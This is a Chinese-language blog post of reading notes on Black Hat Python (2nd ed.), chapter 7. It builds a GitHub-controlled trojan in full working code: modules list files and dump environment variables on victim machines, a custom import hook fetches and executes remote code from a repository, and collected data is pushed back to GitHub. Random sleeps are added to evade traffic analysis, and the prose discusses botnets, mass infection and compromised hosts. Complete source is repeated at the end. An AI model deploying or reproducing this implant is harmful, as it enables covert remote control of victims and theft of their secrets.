黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第七章 GitHub命令与控制(2)构建基于GitHub的特洛伊木马框架
创建模块
在后面的章节中,我们将使用特洛伊木马做一些令人讨厌的事情,例如记录击键和截图。但首先,创建一些简单的模块,以便轻松测试和部署。在modules目录中打开一个新文件,将其命名为dirlister.py,然后输入以下代码:
import os
def run(**args):
print("[*] In dirlister module.")
files = os.Listdir(".")
return str(files)
上面这一小段代码定义了一个run函数,该函数列出当前目录中的所有文件,并将文件列表作为字符串返回。我们开发的每个模块都应该公开一个参数数目可变的run函数,这使我们能够以相同的方式加载每个模块,但仍可以自定义配置文件,以便根据需要向模块传递不同的参数。 现在,我们在名为environment.py的文件(也是在modules目录下)中创建另一个模块:
import os
def run(**args):
print("[*] In environment module.")
return os.environ
此模块只检索在执行特洛伊木马程序的远程计算机上设置的任何环境变量。 接下来,将此代码推送到GitHub的repo上,以便我们的特洛伊木马可以使用它。从本地repo主目录中运行命令行,输入以下代码:
$ git status
$ git add .
$ git commit -m "Add new modules"
$ git push origin
运行结果如下图所示。 这时候我们应该可以看到代码被推送到GitHub存储库,如下图所示;如果要评估创建的任何模块,请将它们推送到GitHub,然后在本地特洛伊木马版本的配置文件中启用它们。这样,我们就可以可以测试它们,然后允许远程特洛伊木马拾取代码并使用它。
特洛伊木马配置
当我们希望让特洛伊木马执行某些操作时,我们需要一种方法来告诉它要执行哪些操作,以及哪些模块负责执行这些操作。我们可以使用配置文件来提供这种级别的控制。配置文件还使我们能够根据自己的选择有效地将特洛伊木马程序置于休眠状态(不给它任何任务)。为了能够正常工作,我们部署的每个特洛伊木马程序都应该有一个唯一的ID。这样,您就可以根据这些ID对任何检索到的数据进行分析,并控制哪些木马程序执行哪些些任务。 接下来我们将配置特洛伊木马程序,以便程序能够在配置目录中查找TROJANID.json,它将返回一个简单的json文档,json文档可以转换为Python字典,然后使用该字典通知木马程序要执行哪些任务。另外,使用JSON格式也会使得更改配置选项变得非常容易。进入config目录,并创建一个名为abc.json的文件,在其中输入一下内容:
[
{
"module": "dirlister"
},
{
"module": "environment"
}
]
这只是远程特洛伊木马应当运行的模块的简单列表,稍后我们会看到如何阅读这个JSON文档,然后迭代每个选项以加载这些模块。 在头脑风暴关于可以执行的模块的想法时,我们会发现包含其他配置选项是很有用的,例如执行持续时间、运行模块的次数或传递给模块的参数。另外我们还可以添加多种过滤数据的方法,这在第9章中会有所涉及。 参照前一节的方法,将新添加的配置文件推送到github,这里不再赘述。现在我们有了配置文件和一些简单的模块要运行,接下来我们开始构建特洛伊木马的主程序。
构建基于GitHub的特洛伊木马
特洛伊木马的程序将检索要从GitHub运行的配置选项和代码。首先从编写连接和验证GitHub API的函数开始,然后跟GitHub通信。创建并打开名为git_trojan.py的新文件,并输入以下内容
import base64
import github3
import importlib
import json
import random
import sys
import threading
import time
from datetime import datetime
上面的代码主要是包含了必要的导入,这在编译时可以使木马程序的总体大小相对较小。我们之所以说“相对”,是因为大多数使用pyinstaller编译的Python二进制文件大约为7MB。我们将把这个二进制文件放到受损害的主机上。 如果我们想利用这项技术构建一个完整的僵尸网络(一个由许多这样的被植入木马的机器组成的网络),则会希望能够自动生成特洛伊木马,设置其ID,创建一个推送到GitHub的配置文件,并将特洛伊木马编译成可执行文件。这里我们不会构建僵尸网络;大家可以用自己的想象力来完成这项工作。
创建跟Git交互的函数
现在将相关的GitHub代码补充到位:
def github_connect():
with open('mytoken.txt') as f:
token = f.read()
user = 'AltaiWolf'
sess = github3.login(token=token)
return sess.repository(user, 'bhptrojan')
def get_file_contents(dirname, module_name, repo):
return repo.file_contents(f'{dirname}/{module_name}').content
这两个函数处理与GitHub的交互。github_connect函数读取在github上创建的令牌,创建令牌时将其写入了名为mytoken.txt的文件。
设置access token
原书并没有说明mytoken.txt中的内容是如何创建的,对于一些GitHub新手来说可能还真不知道如何下手,这里详细描述一下。 登录GitHub后,在右上角用户头像的下拉菜单中选择“Settings/”,如下图。 然后,在打开的页面的左下角点击“Developer settings”菜单,如下图。 然后在Developer Settings页面选择“Personal access tokens/Tokens(classic)”,如下图。 然后在右上角点击“Generate new token/Generate new token (classic)”,如下图。 在打开的页面中输入token的名称,勾选相关的选项,然后点击底部的Generate就可以了,这时候会生成一串token字符,如下图所示,这就是要保存在mytoken.txt中的内容。 现在,我们从该文件读取令牌并返回到GitHub的连接。实际操作中我们可能希望为不同的特洛伊木马创建不同的令牌,以便控制每个特洛伊木马可以在存储库中访问的内容。这样,当守方抓到我们的特洛伊木马程序时,也无法删除我们检索到的所有数据。 get_file_contents函数接收目录名、模块名和存储库连接,并返回指定模块的内容。该函数负责从远程存储库获取程序文件并在受害主机本地读取内容。我们将使用这个函数来读取配置选项和模块的源代码。
构建Trojan类
接下来,创建一个执行基本特洛伊木马任务的Trojan类:
class Trojan:
def __init__(self, id):
self.id = id
self.config_file = f'{id}.json'
self.data_path = f'data/{id}/'
self.repo = github_connect()
初始化特洛伊木马对象时,我们会指定其配置信息和特洛伊木程序写入其输出文件的数据路径,并连接到存储库。现在,我们将添加与之通信所需的方法:
def get_config(self):
config_json = get_file_contents('config', self.config_file, self.repo)
config = json.loads(base64.b64decode(config_json))
for task in config:
if task['module'] not in sys.modules:
exec("import %s" % task['module'])
return config
def module_runner(self, module):
result = sys.modules[module].run()
self.store_module_result(result)
def store_module_result(self, data):
message = datetime.now().isoformat()
remote_path = f'data/{self.id}/{message}.data'
bindata = bytes('%r' % data, 'utf-8')
self.repo.create_file(remote_path, message, base64.b64encode(bindata))
def run(self):
while True:
config = self.get_config()
for task in config:
thread = threading.Thread(target=self.module_runner, args=(task['module'],))
thread.start()
time.sleep(random.randint(1, 10))
time.sleep(random.randint(30*60, 3*60*60))
get_config方法从repo检索远程配置文档,以便特洛伊木马知道要运行哪些模块。Exec将检索到的模块内容引入特洛伊木马对象。module_runner方法调用刚刚导入的模块的run函数(下一节将会详细介绍如何调用它),store_module_result方法创建一个文件,其名称包含当前日期和时间,然后将其输出保存到该文件中。特洛伊木马程序将使用这三种方法将从目标计算机收集的任何数据推送到GitHub。 在run方法中,我们开始执行这些任务。第一步是从repo中获取配置文件,然后我们在自己的线程中启动模块。而在module_runner方法中,我们调用模块的run函数来运行其代码,当运行完成时它应该输出一个字符串,然后我们将输出的字符串push到我们的repo中。 特洛伊木马程序完成任务后,会随机休眠一段时间,以试图阻止任何网络模式分析。当然,我们可以为google.com创造大量流量,或任何其他看似良性的站点,以便掩盖我们的特洛伊木马的真正意图。 接下来,我们创建一个python import的hacker来从GitHub的repo导入远程文件。
黑掉python的import功能
既然已经进行到了这里,我们就会知道可以使用Python的import功能将外部库复制到我们的程序中,以便我们可以调用这些库的代码,我们希望我们的特洛伊木马能够做同样的事情。由于我们正在控制一台远程机器,我们希望使用该机器上没有的软件包,并且没有简单的方法可以远程安装这种软件包。除此之外,我们还希望确保如果我们引入一个依赖项,例如Scapy,我们的特洛伊木马程序会使我们拉入的所有其它模块都可以使用该模块。 Python允许我们定制导入模块的方式;如果无法在本地找到模块,它将调用我们定义的导入类,这将允许我们从repo远程检索库。我们必须将自定义类添加到sys.meta_path列表中。现在,我们通过添加以下代码来创建这个类:
class GitImporter:
def __init__(self):
self.current_module_code = ''
def find_module(self, name, path=None):
print("[*] Attempting to retrive %s" % name)
self.repo = github_connect()
new_library = get_file_contents('modules', f'{name}.py', self.repo)
if new_library is not None:
self.current_module_code = base64.b64decode(new_library)
return self
def load_module(self, name):
spec = importlib.util.spec_from_loader(name, loader=None, origin=self.repo.git_url)
new_module = importlib.util.module_from_spec(spec)
exec(self.current_module_code, new_module.__dict__)
sys.modules[spec.name] = new_module
return new_module
每次解释器尝试加载不可用的模块时,都会使用这个GitImporter类。首先find_module方法尝试定位模块,我们将此调用传递给远程文件加载程序。如果我们能在我们的repo中找到该文件,我们将对代码进行base64解码并将其存储在类中。(GitHub将给我们提供base64编码的数据。)通过返回self,我们向Python解释器表明我们找到了模块,它可以调用load_module方法来实际加载它。我们使用本机importlib模块首先创建一个新的空白模块对象,然后将从GitHub检索到的代码放入其中。最后一步是将新创建的模块插入到sys.modules列表中,以便将来任何的import调用都可以使用它。
创建main主函数
现在,我们对特洛伊木马进行最后的润色,然后让它运行一下:
if __name__ == '__main__':
sys.meta_path.append(GitImporter())
trojan = Trojan('abc')
trojan.run()
在__main__块中,我们将GitImporter放入sys.meta_path列表,然后创建特洛伊木马对象并调用它的run方法。现在我们运行它一下!
小试牛刀
我们通过从命令行运行一下前面做出来的成果。 注意:如果在文件或环境变量中有敏感信息,请记住,如果没有专用存储库,这些本地环境中获取的信息将被上传到GitHub以供全世界查看。 然而我在用python运行脚本的时候,碰到了如下的错误,提示header value不合法。 原书网站下载的代码跟我的写法完全一致,将原书代码修改成如下图红线部分所示的内容,问题解决。 但是在接下来的运行中又碰到了新的错误,如下图。 后来定位了一下原因,是因为我的config配置文件中和modules目录下真实的文件名不一致导致的,修改后重新push到git上,再次运行,跟预期的结果一致,如下图。 上述代码完美地连接到了存储库,并检索配置文件,拉入我们在配置文件中设置的两个模块,然后运行它们。 现在,从特洛伊木马目录中运行命令行,并输入以下内容: 令人惊叹的特洛伊木马程序检查了两个正在运行的模块的结果。下图展示了木马程序自动执行并收集受损机器上的执行结果上传到githut的内容。 我们可以对这个核心命令和控制技术进行一些改进和增强:加密所有模块、配置和过滤数据将是一个良好的开端。如果要大规模感染系统,我们还需要自动执行下载数据、更新配置文件和推出新特洛伊木马的过程。随着我们添加越来越多的功能,还需要扩展Python加载动态库和编译库的方式。 现在,让我们来创建一些独立的特洛伊木马任务,我们将把它们集成到新的GitHub特洛伊程序中。
附上代码
git_trojan.py
import base64
import github3
import importlib
import json
import random
import sys
import threading
import time
from datetime import datetime
def github_connect():
with open("mytoken.txt") as f:
token = f.read().strip()
user = 'AltaiWolf'
sess = github3.login(token=token)
return sess.repository(user, 'bhptrojan')
def get_file_contents(dirname, module_name, repo):
return repo.file_contents(f'{dirname}/{module_name}').content
class GitImporter:
def __init__(self):
self.current_module_code = ''
def find_module(self, name, path=None):
print("[*] Attempting to retrive %s" % name)
self.repo = github_connect()
print(f'self repo is : {self.repo}')
print(f'name is : {name}')
new_library = get_file_contents('modules', f'{name}.py', self.repo)
if new_library is not None:
self.current_module_code = base64.b64decode(new_library)
return self
def load_module(self, name):
spec = importlib.util.spec_from_loader(name, loader=None, origin=self.repo.git_url)
new_module = importlib.util.module_from_spec(spec)
exec(self.current_module_code, new_module.__dict__)
sys.modules[spec.name] = new_module
return new_module
class Trojan:
def __init__(self, id):
self.id = id
self.config_file = f'{id}.json'
self.data_path = f'data/{id}/'
self.repo = github_connect()
def get_config(self):
config_json = get_file_contents('config', self.config_file, self.repo)
config = json.loads(base64.b64decode(config_json))
for task in config:
if task['module'] not in sys.modules:
print(f"task module is : {task['module']}")
exec("import %s" % task['module'])
return config
def module_runner(self, module):
result = sys.modules[module].run()
self.store_module_result(result)
def store_module_result(self, data):
message = datetime.now().isoformat()
remote_path = f'data/{self.id}/{message}.data'
bindata = bytes('%r' % data, 'utf-8')
self.repo.create_file(remote_path, message, base64.b64encode(bindata))
def run(self):
while True:
config = self.get_config()
for task in config:
thread = threading.Thread(target=self.module_runner, args=(task['module'],))
thread.start()
time.sleep(random.randint(1, 10))
time.sleep(random.randint(30*60, 3*60*60))
if __name__ == '__main__':
sys.meta_path.append(GitImporter())
trojan = Trojan('abc')
trojan.run()
dirlister.py
import os
def run(**args):
print("[*] In dirlister module.")
files = os.listdir(".")
return str(files)
environment.py
import os
def run(**args):
print("[*] In environment module.")
return os.environ
abc.json
[
{
"module": "dirlister"
},
{
"module": "environment"
}
]
|